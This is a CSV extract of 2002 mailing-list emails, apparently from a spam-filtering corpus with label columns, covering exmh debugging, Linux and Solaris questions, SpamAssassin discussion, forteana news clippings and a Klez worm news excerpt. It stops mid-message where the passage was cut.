sender,receiver,date,subject,body,label,urls Robert Elz ,Chris Garrigues ,"Thu, 22 Aug 2002 18:26:25 +0700",Re: New Sequences Window,"Date: Wed, 21 Aug 2002 10:54:46 -0500 From: Chris Garrigues Message-ID: <1029945287.4797.TMDA@deepeddy.vircio.com> | I can't reproduce this error. For me it is very repeatable... (like every time, without fail). This is the debug log of the pick happening ... 18:19:03 Pick_It {exec pick +inbox -list -lbrace -lbrace -subject ftp -rbrace -rbrace} {4852-4852 -sequence mercury} 18:19:03 exec pick +inbox -list -lbrace -lbrace -subject ftp -rbrace -rbrace 4852-4852 -sequence mercury 18:19:04 Ftoc_PickMsgs {{1 hit}} 18:19:04 Marking 1 hits 18:19:04 tkerror: syntax error in expression ""int ... Note, if I run the pick command by hand ... delta$ pick +inbox -list -lbrace -lbrace -subject ftp -rbrace -rbrace 4852-4852 -sequence mercury 1 hit That's where the ""1 hit"" comes from (obviously). The version of nmh I'm using is ... delta$ pick -version pick -- nmh-1.0.4 [compiled on fuchsia.cs.mu.OZ.AU at Sun Mar 17 14:55:56 ICT 2002] And the relevant part of my .mh_profile ... delta$ mhparam pick -seq sel -list Since the pick command works, the sequence (actually, both of them, the one that's explicit on the command line, from the search popup, and the one that comes from .mh_profile) do get created. kre ps: this is still using the version of the code form a day ago, I haven't been able to reach the cvs repository today (local routing issue I think). _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Steve Burt ,"""'zzzzteana@yahoogroups.com'"" ","Thu, 22 Aug 2002 12:46:18 +0100",[zzzzteana] RE: Alexander,"Martin A posted: Tassos Papadopoulos, the Greek sculptor behind the plan, judged that the limestone of Mount Kerdylio, 70 miles east of Salonika and not far from the Mount Athos monastic community, was ideal for the patriotic sculpture. As well as Alexander's granite features, 240 ft high and 170 ft wide, a museum, a restored amphitheatre and car park for admiring crowds are planned --------------------- So is this mountain limestone or granite? If it's limestone, it'll weather pretty fast. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Thu, 22 Aug 2002 13:52:38 +0100",[zzzzteana] Moscow bomber,"Man Threatens Explosion In Moscow Thursday August 22, 2002 1:40 PM MOSCOW (AP) - Security officers on Thursday seized an unidentified man who said he was armed with explosives and threatened to blow up his truck in front of Russia's Federal Security Services headquarters in Moscow, NTV television reported. The officers seized an automatic rifle the man was carrying, then the man got out of the truck and was taken into custody, NTV said. No other details were immediately available. The man had demanded talks with high government officials, the Interfax and ITAR-Tass news agencies said. Ekho Moskvy radio reported that he wanted to talk with Russian President Vladimir Putin. Police and security forces rushed to the Security Service building, within blocks of the Kremlin, Red Square and the Bolshoi Ballet, and surrounded the man, who claimed to have one and a half tons of explosives, the news agencies said. Negotiations continued for about one and a half hours outside the building, ITAR-Tass and Interfax reported, citing witnesses. The man later drove away from the building, under police escort, and drove to a street near Moscow's Olympic Penta Hotel, where authorities held further negotiations with him, the Moscow police press service said. The move appeared to be an attempt by security services to get him to a more secure location. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Monty Solomon ,undisclosed-recipient: ;,"Thu, 22 Aug 2002 09:15:25 -0400",[IRR] Klez: The Virus That Won't Die,"Klez: The Virus That Won't Die Already the most prolific virus ever, Klez continues to wreak havoc. Andrew Brandt >>From the September 2002 issue of PC World magazine Posted Thursday, August 01, 2002 The Klez worm is approaching its seventh month of wriggling across the Web, making it one of the most persistent viruses ever. And experts warn that it may be a harbinger of new viruses that use a combination of pernicious approaches to go from PC to PC. Antivirus software makers Symantec and McAfee both report more than 2000 new infections daily, with no sign of letup at press time. The British security firm MessageLabs estimates that 1 in every 300 e-mail messages holds a variation of the Klez virus, and says that Klez has already surpassed last summer's SirCam as the most prolific virus ever. And some newer Klez variants aren't merely nuisances--they can carry other viruses in them that corrupt your data. ... http://www.pcworld.com/news/article/0,aid,103259,00.asp _______________________________________________ Irregulars mailing list Irregulars@tb.tf http://tb.tf/mailman/listinfo/irregulars",0,1 Stewart Smith ,zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 14:38:22 +0100",Re: [zzzzteana] Nothing like mama used to make,"> in adding cream to spaghetti carbonara, which has the same effect on pasta as > making a pizza a deep-pie; I just had to jump in here as Carbonara is one of my favourites to make and ask what the hell are you supposed to use instead of cream? I've never seen a recipe that hasn't used this. Personally I use low fat creme fraiche because it works quite nicely but the only time I've seen an supposedly authentic recipe for carbonara it was identical to mine (cream, eggs and lots of fresh parmesan) except for the creme fraiche. Stew -- Stewart Smith Scottish Microelectronics Centre, University of Edinburgh. http://www.ee.ed.ac.uk/~sxs/ ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 14:50:31 +0100",Re: [zzzzteana] Nothing like mama used to make,"> I just had to jump in here as Carbonara is one of my favourites to make and > ask > what the hell are you supposed to use instead of cream? Isn't it just basically a mixture of beaten egg and bacon (or pancetta, really)? You mix in the raw egg to the cooked pasta and the heat of the pasta cooks the egg. That's my understanding. Martin ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 14:54:25 +0100",[zzzzteana] Playboy wants to go out with a bang,"The Scotsman - 22 August 2002 Playboy wants to go out with a bang AN AGEING Berlin playboy has come up with an unusual offer to lure women into his bed - by promising the last woman he sleeps with an inheritance of 250,000 (160,000). Rolf Eden, 72, a Berlin disco owner famous for his countless sex partners, said he could imagine no better way to die than in the arms of an attractive young woman - preferably under 30. ""I put it all in my last will and testament - the last woman who sleeps with me gets all the money,"" Mr Eden told Bild newspaper. ""I want to pass away in the most beautiful moment of my life. First a lot of fun with a beautiful woman, then wild sex, a final orgasm - and it will all end with a heart attack and then Im gone."" Mr Eden, who is selling his nightclub this year, said applications should be sent in quickly because of his age. ""It could end very soon,"" he said. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Stewart Smith ,zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 15:01:20 +0100",Re: [zzzzteana] Nothing like mama used to make,"Martin Adamson wrote: > > Isn't it just basically a mixture of beaten egg and bacon (or pancetta, > really)? You mix in the raw egg to the cooked pasta and the heat of the pasta > cooks the egg. That's my understanding. > You're probably right, mine's just the same but with the cream added to the eggs. I guess I should try it without. Actually looking on the internet for a recipe I found this one from possibly one of the scariest people I've ever seen, and he's a US Congressman: That's one of the worst non-smiles ever. Stew ps. Apologies if any of the list's Maine residents voted for this man, you won't do it again once you've seen this pic. -- Stewart Smith Scottish Microelectronics Centre, University of Edinburgh. http://www.ee.ed.ac.uk/~sxs/ ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 15:01:33 +0100",[zzzzteana] Meaningful sentences,"The Scotsman Thu 22 Aug 2002 Meaningful sentences Tracey Lawson If you ever wanted to look like ""one of the most dangerous inmates in prison history"", as one judge described Charles Bronson, nows your chance. Bronson - the serial hostage taker, not the movie star - has written a health and fitness guide in which he shares some of the secrets behind his legendary muscle power. Solitary Fitness - a title which bears testament to the fact that Bronson, 48, has spent 24 of his 28 prison years in solitary confinement - explains how he has turned himself into a lean, mean, fitness machine while living 23 hours a day in a space just 12 feet by eight feet, on a diet of scrubs grub and at virtually no cost. The book is aimed at those who want to get fabulously fit without spending a fortune on gym memberships, protein supplements or designer trainers, and starts with a fierce attack on some of the expensive myths churned out by the exercise industry. ""I pick up a fitness mag, I start to laugh and I wipe my arse with it,"" is the opening paragraph penned by Bronson. ""Its a joke and a big con and they call me a criminal!"" You cant help feeling he has a point. This is not the first book that Bronson has written from behind bars, having already published Birdman Opens His Mind, which features drawings and poems created by Bronson while in prison. And he is not the first prisoner to discover creative expression while residing at Her Majestys pleasure. Jimmy Boyle, the Scots sculptor and novelist, discovered his artistic talents when he was sent to Barlinnie Prisons famous special unit, which aimed to help inmates put their violent pasts behind them by teaching them how to express their emotions artistically. Boyle was sentenced to life for the murder of ""Babs"" Rooney in 1967. Once released, he moved to Edinburgh where he has become a respected artist. His first novel, Hero of the Underworld, was published in 1999 and his autobiography, A Sense of Freedom, was made into an award-winning film. Hugh Collins was jailed for life in 1977 for the murder of William Mooney in Glasgow, and in his first year in Barlinnie prison stabbed three prison officers, earning him an extra seven-year sentence. But, after being transferred to the same unit that Boyle attended, he learned to sculpt and developed an interest in art. He later published Autobiography of a Murderer, a frank account of Glasgows criminal culture in the 1960s, which received critical praise. And Lord Archer doesnt seem to have had trouble continuing to write the books that have made him millions while in jail. He recently signed a three-book deal with Macmillan publishers worth a reported 10 million, and is no doubt scribbling away as we speak. So why is it that men like Collins, Bronson and Boyle, who can be so destructive towards society on the outside, can become so creative once stuck on the inside? Steve Richards, Bronsons publisher, has published many books about criminal figures and believes the roots of this phenomenon are both pragmatic and profound. He says: ""Prison is sometimes the first time some criminals will ever have known a stable environment, and this can be the first time they have the chance to focus on their creative skills. ""It may also be the first time that they have really had the chance of an education, if their early years have been hard. It could be the first time anyone has offered them the chance to explore their creative talents."" However, Richards believes the reasons are also deeper than that. He says: ""Once they are behind bars, the cold light of day hits them, and they examine the very essence of who they are. ""They ask themselves, am I a man who wants to be remembered for violence? Or am I a man who can contribute to society, who can be remembered for something good?"" Bronson - who was born Michael Gordon Peterson, but changed his name to that of the Hollywood star of the Death Wish films - has, so far, been remembered mainly for things bad. He was originally jailed for seven years for armed robbery in 1974, and has had a series of sentences added to his original term over the years as a result of attacking people in prison. In 2000 he was jailed for life after being convicted of holding a teacher hostage for nearly two days during a jail siege. Standing five feet ten and a half inches tall and weighing 210lbs, he is renowned for his strength. He has bent metal cell doors with his bare hands and does up to 3,000 - yes, 3,000 - press-ups a day. As he puts it: ""I can hit a man 20 times in four seconds, I can push 132 press ups in 60 seconds."" But judging by our current obsession with health and exercise, Solitary Fitness might be the book which will see Bronsons face sitting on every coffee table in the land. He might be the man to give us the dream body which so many so-called fitness gurus promise but fail to motivate us into. Because Bronson has learned to use words as powerfully as he can use his fists. ""All this crap about high-protein drinks, pills, diets, its just a load of bollocks and a multi-million-pound racket,"" he writes, in what can only be described as a refreshingly honest style. ""We can all be fat lazy bastards, its our choice, Im sick of hearing and reading about excuses, if you stuff your face with shit you become shit, thats logical to me."" As motivational mantras go, that might be just the kick up the, er, backside we all needed. Solitary Fitness by Charles Bronson is published by Mirage Publishing and will be available in bookstores from October at 7.99 ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """NOI Administrator"" ",,"Thu, 22 Aug 2002 10:16:36 -0400",[SAtalk] SA CGI Configurator Scripts,"I have been trying to research via SA mirrors and search engines if a canned script exists giving clients access to their user_prefs options via a web-based CGI interface. Numerous ISPs provide this feature to clients, but so far I can find nothing. Our configuration uses Amavis-Postfix and ClamAV for virus filtering and Procmail with SpamAssassin for spam filtering. I would prefer not to have to write a script myself, but will appreciate any suggestions. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 David H=?ISO-8859-1?B?9g==?=hn ,,"Thu, 22 Aug 2002 16:19:48 +0200",[SAdev] Interesting approach to Spam handling..,"Hello, have you seen and discussed this article and his approach? Thank you http://www.paulgraham.com/spam.html -- ""Hell, there are no rules here-- we're trying to accomplish something."" -- Thomas Alva Edison ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Marc Perkel ,Theo Van Dinter ,"Thu, 22 Aug 2002 08:14:12 -0700",Re: [SAdev] Live Rule Updates after Release ???,"Yes - great minds think alike. But even withput eval rules it would be very useful. It would allow us to respond quickly to spammer's tricks. Theo Van Dinter wrote: > On Thu, Aug 22, 2002 at 07:27:52AM -0700, Marc Perkel wrote: > >>Has anyone though of the idea of live updates of rules after release? The >>idea being that the user can run a cron job once a week or so and get the >>new default rule set. This would allow us to react faster to: > > > I suggested this a few months ago. I don't remember the details of what > came out of it except that it would only be useful for non-eval rules > since those require code changes. > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 """John P. Looney"" ",linux-raid@vger.kernel.org,"Thu, 22 Aug 2002 16:25:45 +0100",[ILUG] Re: Problems with RAID1 on cobalt raq3,"On Mon, Aug 19, 2002 at 03:08:16PM +0100, John P. Looney mentioned: > This is likely because to get it to boot, like the cobalt, I'm actually > passing root=/dev/hda5 to the kernel, not /dev/md0. Just to solve this...the reason I was booting the box with root=/dev/hda5, not /dev/md0 was because /dev/md0 wasn't booting - it would barf with 'can't find init'. It turns out that this is because I was populating md0 with tar. Which seems to have 'issues' with crosslinked files - for instance, it was trying to make a hard link of glibc.so to hda - and failing. It was only as I did it again with a friend present, that he spotted the errors, and queried them. We noticed that the hard linked files just didn't exist on the new rootfs. When we duplicated the filesystems with dump instead of tar, it worked fine, I was able to tell lilo to use root=/dev/md0 and everything worked. Woohoo. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Chris Garrigues ,"Robert Elz , exmh-workers@spamassassin.taint.org","Thu, 22 Aug 2002 10:25:52 -0500",Re: New Sequences Window,"--==_Exmh_-1317289252P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Wed, 21 Aug 2002 10:40:39 -0500 > > > From: Chris Garrigues > > Date: Wed, 21 Aug 2002 10:17:45 -0500 > > > > Ouch...I'll get right on it. > > > > > From: Robert Elz > > > Date: Wed, 21 Aug 2002 19:30:01 +0700 > > > > > > Any chance of having that lengthen instead? I like all my exmh stuff > > > in nice columns (fits the display better). That is, I use the detache > d > > > folder list, one column. The main exmh window takes up full screen, > > > top to bottom, but less than half the width, etc... > > I thought about that. The first order approximation would be to just add > using pack .... -side top instead of pack ... -side left, however, since their > each a different width, it would look funny. I've done this. It's not as pretty as I think it should be, but it works. I'm going to leave the cosmetic issues to others. When I update the documentation, I'll add this to the exmh.TODO file. I'm leaving for a 2 1/2 week vacation in a week, so this is the last new functionality I'm going to add for a while. Also, I now have pretty much everything in there that I want for my own use, so I'm probably pretty much done. I'll work on bug fixes and documentation before my vacation, and hopefully do nothing more afterwards. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-1317289252P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZQJ/K9b4h5R0IUIRAiPuAJwL4mUus5whLNQZC8MsDlGpEdKNrACcDfZH PcGgN9frLIM+C5Z3vagi2wE= =qJoJ -----END PGP SIGNATURE----- --==_Exmh_-1317289252P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Thu, 22 Aug 2002 12:39:47 -0300",The case for spam,"SpamAssassin is hurting democracy! Owen --------------------------------------------------------------------------------------------------------------------- http://www.bayarea.com/mld/mercurynews/news/opinion/3900215.htm Internet can level the political playing field By Mike McCurry and Larry Purpuro NOT many months from now, people across the country will experience one of the great recurring features of American democracy. At shopping malls, on factory floors, at church socials and even on our front stoops, we will be approached by individuals who want to represent us in public office. While chances are high that we won't know them personally, they will walk up to us, offer a handshake and a flier and ask for our votes. Just as technology is affecting every other area of communication, it has begun to affect the way political candidates communicate with voters. In this year's GOP gubernatorial primary, California Secretary of State Bill Jones, who faced better-funded candidates, acquired the e-mail addresses of more than a million potential California voters and sent each an unsolicited e-mail asking for support. That day, he might have chosen any of the more traditional -- and more expensive -- methods of contacting voters, such as direct mail, radio spots or TV ads. But he spent only about 2 cents per message, instead of 35 cents or more per message for direct mail or in another medium. Had Jones chosen direct mail, radio or TV, that communication would have been equally ``unsolicited,'' as defined in the e-mail world. Few voters would have ``opted in'' to receive campaign information from Jones through any of those channels. The response to Jones' e-mail effort, however, was swift and intense. He was lambasted by anti-spam advocates, and media coverage was almost entirely negative. To be fair, some of Jones' tactics could have been refined. He used a less-than-perfect list and no standard-practice ``paid for'' disclaimer in the message. His detractors, however, attacked him not for his tactical miscues but because the e-mail was sent unsolicited. In fact, Jones' online campaign may have been his most visible asset. In an era of cynicism toward money in politics -- money typically spent on other unsolicited communication mediums -- Jones tried to level the playing field. No one likes commercial spam. It is irrelevant and untargeted and can be highly intrusive and even offensive. But as a sophisticated society, it's time to differentiate commercial spam from very different unsolicited e-mail sent by political candidates to voters. The debate is particularly relevant in light of legislation in Congress that would constitute the first federal law to directly address spam. We believe e-mail is no more intrusive than direct mail, telemarketing or TV advertising when it comes to politicians seeking to reach voters. A simple link in good e-mail campaigns allows recipients to opt out of future mailings. Direct mail takes at least a phone call or stamp to be taken off a list, and viewers must repeatedly endure TV ads. When a candidate lacks a large campaign war chest, he or she can use the Internet to provide constituents with information to better prepare them to perform their civic duty of casting educated votes. With more than 60 percent of all potential voters in this country possessing e-mail accounts, it makes sense that political candidates use this medium. Candidates might avoid some of the tactical problems encountered by the Jones campaign if they use the technologies available today that better ensure quality of e-mail lists and target content to specific recipient groups. But the broader point remains. When a political candidate sends a voter an e-mail, that recipient can choose to delete the message without opening it, unsubscribe from the list, read it or even reply and engage the sender. That choice should belong to the voter -- not to anti-spam advocates whose efforts are better focused on commercial e-mail. Political candidates should be free to communicate with voters as best they can, and let voters decide what to do with that information. -------------------------------------------------------------------------------- Mike McCurry, former press secretary for President Clinton, is CEO of an advocacy management and communications software company. Larry Purpuro, the former Republican National Committee deputy chief of staff, is founder and president of a political e-marketing firm. This was written for the Los Angeles Times. http://xent.com/mailman/listinfo/fork",0,1 Bernard Michael Tyers ,iiu ,"Thu, 22 Aug 2002 16:58:37 +0100",[IIU] Eircom aDSL Nat'ing,"Hi all, apologies for the possible silly question (i don't think it is, but), but is Eircom's aDSL service NAT'ed? and what implications would that have for VoIP? I know there are difficulties with VoIP or connecting to clients connected to a NAT'ed network from the internet wild (i.e. machines with static, real IPs) any help pointers would be helpful, cheers -- rgrds, Bernard -- Bernard Tyers * National Centre for Sensor Research * P:353-1-700-5273 * E: bernard.tyers@dcu.ie * W: www.physics.dcu.ie/~bty * L:N117 _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 """uncle_slacky"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 16:11:27 -0000",[zzzzteana] Re: Australian Catholic Kiddie Perv Steps Aside,"--- In forteana@y..., ""D.McMann"" wrote: > Robert Moaby, 33, who sent death threats to staff, was also jailed > for hoarding indecent pictures of children on his home computer. > ========= > > Hmm, if I didn't trust our government and secret police, I could look at > this another way.... There is a bit of circumstantial evidence - apparently some MT listers were approached by him (via email) - a little research in dejanews/google groups showed a number of messages from him, clearly hoping to contact girls, appearing in ""alt.teens"" and similar groups - I just tried a Google Groups search on ""Robert Moaby"" and some of them came top of the list. Note for Marie - ""MT"" stands for Mark Thomas, a slightly slimmer, UK version of your Michael Moore - the mailing list is named after him. Rob ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Fergal Moran"" ","""Kiall Mac Innes"" , ""ILUG"" ","Thu, 22 Aug 2002 17:13:01 +0100",RE: [ILUG] Sun Solaris..,"In a nutshell - Solaris is Suns own flavour of UNIX. > -----Original Message----- > From: Kiall Mac Innes [mailto:kiall@redpie.com] > Sent: 22 August 2002 17:23 > To: ILUG > Subject: [ILUG] Sun Solaris.. > > > Can someone explain what type of operating system Solaris > is... as ive never seen or used it i dont know wheather to > get a server from Sun or from DELL i would prefer a linux > based server and Sun seems to be the one for that but im not > sure if Solaris is a distro of linux or a completely > different operating system? can someone explain... > > Kiall Mac Innes > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for > (un)subscription information. List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """uncle_slacky"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 16:17:39 -0000",[zzzzteana] Which Muppet Are You?,"Apols if this has been posted before: http://www.pinkpaperclips.net/subs/quiz2.html Rob ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Kiall Mac Innes"" ","""ILUG"" ","Thu, 22 Aug 2002 17:23:15 +0100",[ILUG] Sun Solaris..,"Can someone explain what type of operating system Solaris is... as ive never seen or used it i dont know wheather to get a server from Sun or from DELL i would prefer a linux based server and Sun seems to be the one for that but im not sure if Solaris is a distro of linux or a completely different operating system? can someone explain... Kiall Mac Innes -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Tim Chapman"" ",zzzzteana@yahoogroups.com,"Thu, 22 Aug 2002 17:23:28 +0100",Re: [zzzzteana] Which Muppet Are You?,"> Apols if this has been posted before: > > http://www.pinkpaperclips.net/subs/quiz2.html > So, anyone who isn't Beaker? TimC Meep ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """John P. Looney"" ",ILUG ,"Thu, 22 Aug 2002 17:36:41 +0100",Re: [ILUG] Sun Solaris..,"On Thu, Aug 22, 2002 at 05:13:01PM +0100, Fergal Moran mentioned: > In a nutshell - Solaris is Suns own flavour of UNIX. Though I'm sure that this nice person would like a bit more detail. Solaris is quite different to Linux, though these days you can make solaris act a lot like linux with an extra CD of GNU tools Sun ship with solaris. It is based on the SysV unix family, so it's quite similar to other unixen like HPUX and SCO. Sun's hardware in general is more reliable, and a lot more expensive. One of the main bonuses you get by buying Sun is that you are getting your hardware and software from one company, so if you have a support contract, they have to fix it. They can't fob you off with 'that's a software problem, talk to the software vendor.' etc. If you are set on Linux, you most likely can do your own support. There is then a world of different hardware options. You can run Linux on Sparc, though some companies like RedHat don't maintain a sparc port anymore. You can also buy your machine from linux-oriented companies like DNUK, who do machines designed to run linux, and their own version of linux, that has a few extras for their machines. Or, you can get a machine from a cheaper company like Dell, and it'll most likely work, most of the time. John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Thu, 22 Aug 2002 17:42:26 +0100",Re: [ILUG] Sun Solaris..,"John P. Looney wrote: > On Thu, Aug 22, 2002 at 05:13:01PM +0100, Fergal Moran mentioned: > >>In a nutshell - Solaris is Suns own flavour of UNIX. > > > Though I'm sure that this nice person would like a bit more detail. > > Solaris is quite different to Linux, though these days you can make > solaris act a lot like linux with an extra CD of GNU tools Sun ship with > solaris. It is based on the SysV unix family, so it's quite similar to > other unixen like HPUX and SCO. > > Sun's hardware in general is more reliable, and a lot more expensive. One > of the main bonuses you get by buying Sun is that you are getting your > hardware and software from one company, so if you have a support contract, > they have to fix it. They can't fob you off with 'that's a software > problem, talk to the software vendor.' etc. > > If you are set on Linux, you most likely can do your own support. There > is then a world of different hardware options. You can run Linux on Sparc, > though some companies like RedHat don't maintain a sparc port anymore. > > You can also buy your machine from linux-oriented companies like DNUK, > who do machines designed to run linux, and their own version of linux, > that has a few extras for their machines. Or, you can get a machine from a > cheaper company like Dell, and it'll most likely work, most of the time. Why do you say Dell is cheaper than DNUK? It gets a bit complicated though! http://www.levenez.com/unix/history.html Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """leslie ellen jones"" ",,"Thu, 22 Aug 2002 10:19:48 -0700",Re: [zzzzteana] Which Muppet Are You?,"Hey, it's not easy being green. leslie Leslie Ellen Jones, Ph.D. Jack of All Trades and Doctor of Folklore lejones@ucla.edu ""Truth is an odd number"" -- Flann O'Brien ----- Original Message ----- From: Dino To: zzzzteana@yahoogroups.com Sent: Thursday, August 22, 2002 10:13 AM Subject: RE: [zzzzteana] Which Muppet Are You? Damn kermit...boring... Wanna be rizzo he's the coolest Dino Yahoo! Groups Sponsor ADVERTISEMENT To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/mG3HAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Albert White - SUN Ireland ,ilug@linux.ie,"Thu, 22 Aug 2002 19:11:19 +0100",Re: [ILUG] Sun Solaris..,"> On Thu, 22 Aug 2002, John P. Looney wrote: > > Sun's hardware in general is more reliable, > ROFL. not in our experience. Well at least our Caps-Lock keys work: peter@staunton.ie said: > Another problem. I have a Dell branded keyboard and if I hit Caps-Lock > twice, the whole machine crashes (in Linux, not Windows) - even the on/ > off switch is inactive, leaving me to reach for the power cable > instead. :-P bauwolf@indigo.ie said: > as if he wanted Solaris 9 for x86, he'd be waiting a bit erm... it runs Solaris x86 as standard... Cheers, ~Al -- Expressed in this posting are my opinions. They are in no way related to opinions held by my employer, Sun Microsystems. Statements on Sun products included here are not gospel and may be fiction rather than truth. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Dave Long ,fork@spamassassin.taint.org,"Thu, 22 Aug 2002 11:11:57 -0700",RE: The Curse of India's Socialism,"> You have multiple generations of > peasants/squatters that cultivate and live on the lands almost as a > human parts of the property package. When I'd read that ""getting legal title can take 20 years"", when I believe that 1 year ought to be more than sufficient, (and helped by the Cairo reference) I'd assumed that we were talking about the urban poor. If I see people living in mansions, or even in suburban subdivisions, I assume they didn't have too much trouble with their titles. If I see people living in shanties and haphazard alleyways, I tend to assume their parcels weren't exactly recorded on the government maps, or paid for with a bank loan, especially when nearby vacant lots have shotgun wielding men 